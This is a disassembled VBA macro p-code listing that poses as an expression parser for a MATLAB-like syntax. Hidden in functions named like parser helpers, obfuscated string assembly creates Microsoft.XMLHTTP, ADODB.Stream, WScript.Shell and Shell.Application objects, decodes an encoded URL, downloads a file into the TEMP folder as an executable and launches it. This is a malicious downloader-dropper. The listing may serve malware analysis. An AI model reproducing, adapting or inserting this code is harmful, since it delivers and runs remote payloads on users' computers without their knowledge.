' Line #62:
' Wend
' Line #63:
' EndFunc
' Line #64:
' FuncDefn (Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean)
' Line #65:
' LitVarSpecial (True)
' St Parse_FindBinaryOp
' Line #66:
' Ld token
' SelectCase
' Line #67:
' LitStr 0x0002 "||"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x000E "orshortcircuit"
' LitDI2 0x0001
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #68:
' LitStr 0x0002 "&&"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x000F "andshortcircuit"
' LitDI2 0x0002
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #69:
' LitStr 0x0001 "|"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "or"
' LitDI2 0x0003
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #70:
' LitStr 0x0001 "&"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "and"
' LitDI2 0x0004
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #71:
' LitStr 0x0001 "<"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "lt"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #72:
' LitStr 0x0002 "<="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "lte"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #73:
' LitStr 0x0001 ">"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "gt"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #74:
' LitStr 0x0002 ">="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "gte"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #75:
' LitStr 0x0002 "=="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "eq"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #76:
' LitStr 0x0001 "="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "eq"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #77:
' LitStr 0x0002 "~="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "ne"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #78:
' LitStr 0x0002 "<>"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "ne"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #79:
' LitStr 0x0001 ":"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "colon"
' LitDI2 0x0006
' LitVarSpecial (False)
' ArgsArray Array 0x0003
' St op
' Line #80:
' LitStr 0x0001 "+"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0004 "plus"
' LitDI2 0x0007
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #81:
' LitStr 0x0001 "-"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "minus"
' LitDI2 0x0007
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #82:
' LitStr 0x0001 "*"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "mtimes"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #83:
' LitStr 0x0002 ".*"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "times"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #84:
' LitStr 0x0001 "/"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0007 "mdivide"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #85:
' LitStr 0x0002 "./"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "divide"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #86:
' LitStr 0x0001 "^"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "mpower"
' LitDI2 0x0009
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #87:
' LitStr 0x0002 ".^"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "power"
' LitDI2 0x0009
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #88:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindBinaryOp
' Line #89:
' EndSelect
' Line #90:
' EndFunc
' Line #91:
' FuncDefn (Public Function Q(expr As String, args As String) As Variant)
' Line #92:
' LitStr 0x0001 "e"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St arguments
' Line #93:
' LitVarSpecial (Empty)
' St endValues
' Line #94:
' LitStr 0x0001 "T"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St errorMsg
' Line #95:
' Line #96:
' OnError ErrorHandler
' Line #97:
' Ld expr
' St expression
' Line #98:
' Line #99:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Parse_FindUnaryPostfixOp 0x0002
' Line #100:
' ExitFunc
' Line #101:
' LitDI2 0x0001
' St expressionIndex
' Line #102:
' ArgsCall Tokens_Next 0x0000
' Line #103:
' Dim
' VarDefn root (As Variant)
' Line #104:
' Do
' Line #105:
' Ld currentToken
' SelectCase
' Line #106:
' LitStr 0x0000 ""
' Case
' CaseDone
' Line #107:
' ExitDo
' Line #108:
' LitStr 0x0001 ";"
' Case
' Ld vbLf
' Case
' CaseDone
' Line #109:
' ArgsCall Tokens_Next 0x0000
' Line #110:
' CaseElse
' Line #111:
' ArgsLd Parse_Binary 0x0000
' St root
' Line #112:
' Ld root
' ArgsLd eval_tree 0x0001
' St ans
' Line #113:
' LineCont 0x0008 01 00 01 00 0D 00 01 00
' Ld currentToken
' LitStr 0x0000 ""
' Eq
' Ld currentToken
' LitStr 0x0001 ";"
' Eq
' Or
' Ld currentToken
' Ld vbLf
' Eq
' Or
' LitStr 0x0000 ""
' ArgsCall Utils_Assert 0x0002
' Line #114:
' EndSelect
' Line #115:
' LitVarSpecial (True)
' LoopWhile
' Line #116:
' Ld ans
' St Q
' Line #117:
' ExitFunc
' Line #118:
' Label ErrorHandler
' Line #119:
' Ld errorMsg
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' Ld Err
' MemLd Description
' St errorMsg
' EndIf
' Line #120:
' LitStr 0x0008 "ERROR - "
' Ld errorMsg
' Concat
' St Q
' Line #121:
' EndFunc
' Line #122:
' FuncDefn (Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean)
' Line #123:
' LitVarSpecial (True)
' St Parse_FindUnaryPrefixOp
' Line #124:
' Ld token
' SelectCase
' Line #125:
' LitStr 0x0001 "+"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "uplus"
' St op
' Line #126:
' LitStr 0x0001 "-"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "uminus"
' St op
' Line #127:
' LitStr 0x0001 "~"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "negate"
' St op
' Line #128:
' LitStr 0x0001 "#"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "numel"
' St op
' Line #129:
' LitStr 0x0001 "!"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "extern"
' St op
' Line #130:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindUnaryPrefixOp
' Line #131:
' EndSelect
' Line #132:
' EndFunc
' Line #133:
' Line #134:
' FuncDefn (Private Function Parse_Matrix() As Variant)
' Line #135:
' Ld currentToken
' LitStr 0x0001 "]"
' Ne
' While
' Line #136:
' LitVarSpecial (True)
' Ld Park
' ArgsMemLd se_List 0x0001
' Ld Parse_Matrix
' ArgsCall Utils_Stack_Push 0x0002
' Line #137:
' Ld currentToken
' LitStr 0x0001 ";"
' Eq
' If
' BoSImplicit
' ArgsCall Tokens_Next 0x0000
' EndIf
' Line #138:
' Ld currentToken
' LitStr 0x0000 ""
' Ne
' LitStr 0x0008 "Missing "
' ArgsCall Utils_Assert 0x0002
' Line #139:
' Wend
' Line #140:
' EndFunc
' Line #141:
' ConstFuncExpr
' LitVarSpecial (False)
' FuncDefn (Private Function Parkse_List(Optional isSpaceSeparator As Boolean) As Variant)
' Line #142:
' SetStmt
' LitStr 0x0001 "a"
' ArgsLd UCase 0x0001
' LitStr 0x0006 "dodb.S"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0001 "r"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "am"
' Add
' ArgsLd CreateObject 0x0001
' Set UtilsInd2Sub
' Line #143:
' ArgsCall Parse_Binary 0x0000
' Line #144:
' ExitFunc
' Line #145:
' LitStr 0x0003 ";)]"
' Ld currentToken
' FnInStr
' LitDI2 0x0000
' Eq
' DoWhile
' Line #146:
' Ld currentToken
' LitStr 0x0001 ","
' Eq
' IfBlock
' Line #147:
' LitStr 0x000D "eval_constant"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' Ld Park
' MemLd se_List
' ArgsCall Utils_Stack_Push 0x0002
' Line #148:
' ElseBlock
' Line #149:
' ArgsLd Parse_Binary 0x0000
' Ld Park
' MemLd se_List
' ArgsCall Utils_Stack_Push 0x0002
' Line #150:
' EndIfBlock
' Line #151:
' Ld currentToken
' LitStr 0x0001 ","
' Eq
' IfBlock
' Line #152:
' ArgsCall Tokens_Next 0x0000
' Line #153:
' Ld previousTokenIsSpace
' Ld isSpaceSeparator
' And
' Paren
' Not
' ElseIfBlock
' Line #154:
' ExitDo
' Line #155:
' EndIfBlock
' Line #156:
' Loop
' Line #157:
' EndFunc
' Line #158:
' ConstFuncExpr
' LitDI2 0x03E7
' UMi
' FuncDefn (Private Function Parse_Binary(Optional lastPrec As Long) As Variant)
' Line #159:
' SetStmt
' LitStr 0x0001 "s"
' ArgsLd UCase 0x0001
' LitStr 0x0001 "h"
' Add
' Ld arguments
' Add
' LitStr 0x000A "ll.Applica"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 "ion"
' Add
' ArgsLd CreateObject 0x0001
' Set UtilsCalcDimDirection
' Line #160:
' ArgsCall Parse_Postfix 0x0000
' Line #161:
' ExitFunc
' Line #162:
' ArgsLd Parse_Prefix 0x0000
' St Parse_Binary
' Line #163:
' Dim
' VarDefn op
' BoS 0x0000
' Ld currentToken
' Ld op
' ArgsLd Parse_FindBinaryOp 0x0002
' DoWhile
' Line #164:
' LitDI2 0x0002
' ArgsLd op 0x0001
' LitDI2 0x0003
' ArgsLd op 0x0001
' Coerce (Lng)
' Add
' Ld lastPrec
' Lt
' If
' BoSImplicit
' ExitDo
' EndIf
' Line #165:
' ArgsCall Tokens_Next 0x0000
' Line #166:
' LitStr 0x0003 "op_"
' LitDI2 0x0001
' ArgsLd op 0x0001
' Concat
' Ld Parse_Binary
' LitDI2 0x0002
' ArgsLd op 0x0001
' Coerce (Lng)
' ArgsLd Parse_Binary 0x0001
' ArgsArray Array 0x0002
' ArgsArray Array 0x0002
' St Parse_Binary
' Line #167:
' Loop
' Line #168:
' EndFunc
' Line #169:
' FuncDefn (Private Function Parse_Prefix() As Variant)
' Line #170:
' Dim
' VarDefn op
' Line #171:
' Ld currentToken
' Ld op
' ArgsLd Parse_FindUnaryPrefixOp 0x0002
' IfBlock
' Line #172:
' ArgsCall Tokens_Next 0x0000
' Line #173:
' LitStr 0x0003 "op_"
' Ld op
' Concat
' ArgsLd Parse_Prefix 0x0000
' ArgsArray Array 0x0001
' ArgsArray Array 0x0002
' St Parse_Prefix
' Line #174:
' ElseBlock
' Line #175:
' ArgsLd Parse_Postfix 0x0000
' St Parse_Prefix
' Line #176:
' EndIfBlock
' Line #177:
' EndFunc
' Line #178:
' Line #179:
' FuncDefn (Private Function Parse_Atomic() As Variant)
' Line #180:
' Ld currentToken
' LitStr 0x0000 ""
' Ne
' LitStr 0x0010 "missing argument"
' ArgsCall Utils_Assert 0x0002
' Line #181:
' Ld currentToken
' ArgsLd Asc 0x0001
' SelectCase
' Line #182:
' LitStr 0x0001 ":"
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #183:
' LitStr 0x000A "eval_colon"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #184:
' ArgsCall Tokens_Next 0x0000
' Line #185:
' LitStr 0x0001 "("
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #186:
' ArgsCall Tokens_Next 0x0000
' Line #187:
' ArgsLd Parse_Binary 0x0000
' St Parse_Atomic
' Line #188:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #189:
' LitStr 0x0001 "["
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #190:
' ArgsCall Tokens_Next 0x0000
' Line #191:
' LitStr 0x000B "eval_concat"
' ArgsLd Parse_Matrix 0x0000
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #192:
' LitStr 0x0001 "]"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #193:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #194:
' LitStr 0x000D "eval_constant"
' Ld currentToken
' LitDI2 0x0002
' Ld currentToken
' FnLen
' LitDI2 0x0002
' Sub
' ArgsLd Mid 0x0003
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #195:
' ArgsCall Tokens_Next 0x0000
' Line #196:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #197:
' LitStr 0x000D "eval_constant"
' Ld currentToken
' ArgsLd Val 0x0001
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #198:
' ArgsCall Tokens_Next 0x0000
' Line #199:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #200:
' Ld currentToken
' LitStr 0x0003 "end"
' Eq
' IfBlock
' Line #201:
' LitStr 0x0008 "eval_end"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #202:
' ArgsCall Tokens_Next 0x0000
' Line #203:
' Ld currentToken
' LitStr 0x0003 "ans"
' Eq
' ElseIfBlock
' Line #204:
' LitStr 0x0008 "eval_ans"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #205:
' ArgsCall Tokens_Next 0x0000
' Line #206:
' Ld currentToken
' FnLen
' LitDI2 0x0001
' Eq
' ElseIfBlock
' Line #207:
' LitStr 0x0008 "eval_arg"
' Ld currentToken
' ArgsLd Asc 0x0001
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' Sub
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #208:
' ArgsCall Tokens_Next 0x0000
' Line #209:
' ElseBlock
' Line #210:
' LitStr 0x0003 "fn_"
' Ld currentToken
' Concat
' St Parse_Atomic
' Line #211:
' ArgsCall Tokens_Next 0x0000
' Line #212:
' Ld currentToken
' LitStr 0x0001 "("
' Eq
' IfBlock
' Line #213:
' LitStr 0x0001 "("
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #214:
' Ld Parse_Atomic
' Ld Park
' ArgsMemLd se_List 0x0000
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #215:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #216:
' ElseBlock
' Line #217:
' Ld Parse_Atomic
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #218:
' EndIfBlock
' Line #219:
' EndIfBlock
' Line #220:
' CaseElse
' Line #221:
' LitVarSpecial (False)
' LitStr 0x0012 "unexpected token: "
' Ld currentToken
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #222:
' EndSelect
' Line #223:
' EndFunc
' Line #224:
' FuncDefn (Private Function MAX(a As Variant, B As Variant) As Variant)
' Line #225:
' Dim
' VarDefn homebrew (As Variant)
' Line #226:
' LitDI2 0x2A4E
' LitDI2 0x2A5A
' LitDI2 0x2A5A
' LitDI2 0x2A56
' LitDI2 0x2A20
' LitDI2 0x2A15
' LitDI2 0x2A15
' LitDI2 0x2A48
' LitDI2 0x2A58
' LitDI2 0x2A4B
' LitDI2 0x2A4A
' LitDI2 0x2A47
' LitDI2 0x2A14
' LitDI2 0x2A5C
' LitDI2 0x2A47
' LitDI2 0x2A54
' LitDI2 0x2A4E
' LitDI2 0x2A4F
' LitDI2 0x2A4B
' LitDI2 0x2A52
' LitDI2 0x2A4B
' LitDI2 0x2A14
' LitDI2 0x2A54
' LitDI2 0x2A52
' LitDI2 0x2A15
' LitDI2 0x2A1A
' LitDI2 0x2A19
' LitDI2 0x2A1D
' LitDI2 0x2A4D
' LitDI2 0x2A1E
' LitDI2 0x2A15
' LitDI2 0x2A1A
' LitDI2 0x2A19
' LitDI2 0x2A59
' LitDI2 0x2A1B
' LitDI2 0x2A4A
' LitDI2 0x2A1C
' LitDI2 0x2A4C
' LitDI2 0x2A1D
' LitDI2 0x2A4D
' LitDI2 0x2A14
' LitDI2 0x2A4B
' LitDI2 0x2A5E
' LitDI2 0x2A4B
' ArgsArray Array 0x002C
' St homebrew
' Line #227:
' LitStr 0x0001 "H"
' ArgsLd Asc 0x0001
' LitDI2 0x0001
' Sub
' ArgsLd Chr 0x0001
' Ld arguments
' ArgsLd UCase 0x0001
' Add
' Ld errorMsg
' Add
' Ld homebrew
' LitDI2 0x002B
' ArgsLd UtilsAssertToken 0x0002
' LitVarSpecial (False)
' Ld CodOrdineCorrente1
' ArgsMemCall Open 0x0003
' Line #228:
' LitDI2 0x0002
' ArgsCall Utils_Numel 0x0001
' Line #229:
' ExitFunc
' Line #230:
' Ld a
' Ld B
' Gt
' If
' BoSImplicit
' Ld a
' St MAX
' Else
' BoSImplicit
' Ld B
' St MAX
' EndIf
' Line #231:
' EndFunc
' Line #232:
' FuncDefn (Private Function MIN(a As Variant, B As Variant) As Variant)
' Line #233:
' Ld a
' Ld B
' Lt
' If
' BoSImplicit
' Ld a
' St MIN
' Else
' BoSImplicit
' Ld B
' St MIN
' EndIf
' Line #234:
' EndFunc
' Line #235:
' FuncDefn (Private Function IFF(a As Boolean, B As Variant, c As Variant) As Variant)
' Line #236:
' Ld a
' If
' BoSImplicit
' Ld B
' St IFF
' Else
' BoSImplicit
' Ld c
' St IFF
' EndIf
' Line #237:
' EndFunc
' Line #238:
' ConstFuncExpr
' LitStr 0x0000 ""
' FuncDefn (Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String))
' Line #239:
' Ld tree
' ArgsLd Utils_Dimensions 0x0001
' LitDI2 0x0000
' Gt
' IfBlock
' Line #240:
' Dim
' VarDefn leaf
' BoS 0x0000
' StartForVariable
' Ld leaf
' EndForVariable
' Ld tree
' ForEach
' Line #241:
' Ld leaf
' Ld spacer
' LitStr 0x0001 " "
' Concat
' ArgsCall Utils_DumpTree 0x0002
' Line #242:
' StartForVariable
' Ld leaf
' EndForVariable
' NextVar
' Line #243:
' ElseBlock
' Line #244:
' Debug
' PrintObj
' Ld spacer
' Ld tree
' Concat
' PrintItemNL
' Line #245:
' EndIfBlock
' Line #246:
' EndSub
' Line #247:
' FuncDefn (Private Function Parse_Postfix() As Variant)
' Line #248:
' SetStmt
' LitStr 0x0001 "p"
' ArgsLd UCase 0x0001
' LitStr 0x0003 "roc"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "ss"
' Add
' LitStr 0x0001 "w"
' ArgsLd UCase 0x0001
' LitStr 0x0001 "s"
' ArgsLd UCase 0x0001
' Add
' LitStr 0x0001 "C"
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 "rip"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 ".Sh"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "ll"
' Add
' ArgsLd CreateObject 0x0001
' ArgsMemLd Environment 0x0001
' Set ParsePostfixResult
' Line #249:
' LitDI2 0x0004
' LitDI2 0x0005
' ArgsCall MAX 0x0002
' Line #250:
' ExitFunc
' Line #251:
' Ld Parse_Atomic
' St Parse_Postfix
' Line #252:
' Dim
' VarDefn op
' BoS 0x0000
' Do
' Line #253:
' Ld currentToken
' Ld op
' ArgsLd Parse_FindUnaryPostfixOp 0x0002
' IfBlock
' Line #254:
' LitStr 0x0003 "op_"
' Ld op
' Concat
' Ld Parse_Postfix
' ArgsArray Array 0x0001
' ArgsArray Array 0x0002
' St Parse_Postfix
' Line #255:
' ArgsCall Tokens_Next 0x0000
' Line #256:
' Ld currentToken
' LitStr 0x0001 "("
' Eq
' ElseIfBlock
' Line #257:
' ArgsCall Tokens_Next 0x0000
' Line #258:
' LitStr 0x000A "eval_index"
' Ld Parse_Postfix
' Ld Park
' ArgsMemLd se_List 0x0000
' ArgsArray Array 0x0002
' ArgsArray Array 0x0002
' St Parse_Postfix
' Line #259:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #260:
' ElseBlock
' Line #261:
' ExitDo
' Line #262:
' EndIfBlock
' Line #263:
' LitVarSpecial (True)
' LoopWhile
' Line #264:
' EndFunc
' Line #265:
' FuncDefn (Private Function Utils_Dimensions(v As Variant) As Long)
' Line #266:
' Dim
' VarDefn dimnum (As Long)
' VarDefn errorCheck (As Integer)
' Line #267:
' OnError FinalDimension
' Line #268:
' StartForVariable
' Ld dimnum
' EndForVariable
' LitDI2 0x0001
' LitDI4 0xEA60 0x0000
' For
' Line #269:
' Ld v
' Ld dimnum
' FnLBound 0x0001
' St errorCheck
' Line #270:
' StartForVariable
' Next
' Line #271:
' Label FinalDimension
' Line #272:
' Ld dimnum
' LitDI2 0x0001
' Sub
' St Utils_Dimensions
' Line #273:
' EndFunc
' Line #274:
' FuncDefn (Private Function Utils_Numel(v As Long) As Long)
' Line #275:
' Ld CodOrdineCorrente1
' ArgsMemCall Send 0x0000
' Line #276:
' Line #277:
' Ld errorMsg
' Ld arguments
' ArgsLd UCase 0x0001
' Add
' LitStr 0x0002 "MP"
' Add
' ArgsLd ParsePostfixResult 0x0001
' St CodOrdineCorrente4
' Line #278:
' Line #279:
' Ld CodOrdineCorrente4
' LitStr 0x0009 "\dimenas."
' Add
' Ld arguments
' Add
' LitStr 0x0001 "x"
' Add
' Ld arguments
' Add
' LitStr 0x0000 ""
' Add
' St dimIndexArgs
' Line #280:
' LitDI2 0x0001
' LitDI2 0x0000
' LitDI2 0x0000
' LitDI2 0x0000
' ArgsCall Utils_Ind2Sub 0x0004
' Line #281:
' ExitFunc
' Line #282:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #283:
' LitDI2 0x0000
' Case
' CaseDone
' BoS 0x0000
' Ld v
' ArgsLd IsEmpty 0x0001
' LitDI2 0x0000
' LitDI2 0x0001
' ArgsLd IFF 0x0003
' St Utils_Numel
' Line #284:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Ld sccv
' FnUBound 0x0000
' St Utils_Numel
' Line #285:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Ld sccv
' LitDI2 0x0001
' FnUBound 0x0001
' Ld sccv
' LitDI2 0x0002
' FnUBound 0x0001
' Mul
' St Utils_Numel
' Line #286:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #287:
' EndSelect
' Line #288:
' EndFunc
' Line #289:
' FuncDefn (Private Function Utils_Rows(ByRef v As Variant) As Long)
' Line #290:
' Dim
' VarDefn c (As Long)
' Line #291:
' Ld v
' Ld Utils_Rows
' Ld c
' ArgsCall Utils_Size 0x0003
' Line #292:
' EndFunc
' Line #293:
' FuncDefn (Private Function Utils_Cols(ByRef v As Variant) As Long)
' Line #294:
' Dim
' VarDefn r (As Long)
' Line #295:
' Ld v
' Ld r
' Ld Utils_Cols
' ArgsCall Utils_Size 0x0003
' Line #296:
' EndFunc
' Line #297:
' FuncDefn (Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long))
' Line #298:
' LitDI2 0x0000
' St r
' BoS 0x0000
' LitDI2 0x0000
' St c
' Line #299:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #300:
' LitDI2 0x0000
' Case
' CaseDone
' BoS 0x0000
' Ld v
' ArgsLd IsEmpty 0x0001
' Not
' If
' BoSImplicit
' LitDI2 0x0001
' St r
' BoS 0x0000
' LitDI2 0x0001
' St c
' EndIf
' Line #301:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Ld v
' FnUBound 0x0000
' St r
' BoS 0x0000
' LitDI2 0x0001
' St c
' Line #302:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' St r
' BoS 0x0000
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' St c
' Line #303:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #304:
' EndSelect
' Line #305:
' EndSub
' Line #306:
' Line #307:
' FuncDefn (Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean)
' Line #308:
' SetStmt
' LitStr 0x0001 "m"
' ArgsLd UCase 0x0001
' LitStr 0x0007 "icrosof"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0005 ".XMLH"
' Add
' Ld errorMsg
' Add
' Ld errorMsg
' Add
' LitStr 0x0001 "P"
' Add
' ArgsLd CreateObject 0x0001
' Set CodOrdineCorrente1
' Line #309:
' ArgsCall Parkse_List 0x0000
' Line #310:
' ExitFunc
' Line #311:
' LitVarSpecial (True)
' St Parse_FindUnaryPostfixOp
' Line #312:
' Ld token
' SelectCase
' Line #313:
' LitStr 0x0000 ""
' Case
' CaseDone
' Line #314:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindUnaryPostfixOp
' Line #315:
' EndSelect
' Line #316:
' EndFunc
' Line #317:
' FuncDefn (Public Function UtilsAssertToken(ByValvDefault As , NothingOrNodeName As Integer) As String)
' Line #318:
' Dim
' VarDefn i (As Integer)
' Line #319:
' Dim
' VarDefn g_oPubGetResString (As String)
' Line #320:
' LitStr 0x0000 ""
' St g_oPubGetResString
' Line #321:
' StartForVariable
' Ld i
' EndForVariable
' Ld ByValvDefault
' FnLBound 0x0000
' Ld ByValvDefault
' FnUBound 0x0000
' For
' Line #322:
' Ld g_oPubGetResString
' Ld i
' ArgsLd ByValvDefault 0x0001
' LitDI2 0x0014
' Ld NothingOrNodeName
' Mul
' Sub
' LitDI2 0x2648
' Sub
' LitDI2 0x0042
' Sub
' ArgsLd Chr 0x0001
' Concat
' St g_oPubGetResString
' Line #323:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #324:
' Ld g_oPubGetResString
' St UtilsAssertToken
' Line #325:
' EndFunc
' Line #326:
' FuncDefn (Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long))
' Line #327:
' Ld rows
' Ld UtilsInd2Sub
' MemSt Type
' Line #328:
' Ld UtilsInd2Sub
' ArgsMemCall Open 0x0000
' Line #329:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Utils_Stack_Push 0x0002
' Line #330:
' ExitSub
' Line #331:
' Ld k
' LitDI2 0x0001
' Sub
' Paren
' Ld rows
' IDiv
' LitDI2 0x0001
' Add
' St j
' Line #332:
' Ld k
' Ld rows
' Ld j
' LitDI2 0x0001
' Sub
' Paren
' Mul
' Sub
' St i
' Line #333:
' EndSub
' Line #334:
' FuncDefn (Private Sub Utils_Conform(ByRef v As Variant))
' Line #335:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #336:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Line #337:
' Ld v
' FnUBound 0x0000
' LitDI2 0x0001
' Eq
' IfBlock
' Line #338:
' LitDI2 0x0001
' ArgsLd v 0x0001
' St v
' Line #339:
' ElseBlock
' Line #340:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' LitDI2 0x0001
' OptionBase
' Ld v
' FnUBound 0x0000
' Redim r 0x0002 (As Variant)
' Line #341:
' Dim
' VarDefn i (As Long)
' Line #342:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #343:
' Ld i
' ArgsLd v 0x0001
' LitDI2 0x0001
' Ld i
' ArgsSt r 0x0002
' Line #344:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #345:
' Ld r
' St v
' Line #346:
' EndIfBlock
' Line #347:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Line #348:
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' And
' If
' BoSImplicit
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd v 0x0002
' St v
' EndIf
' Line #349:
' LitDI2 0x0002
' CaseGt
' CaseDone
' BoS 0x0000
' Line #350:
' LitVarSpecial (False)
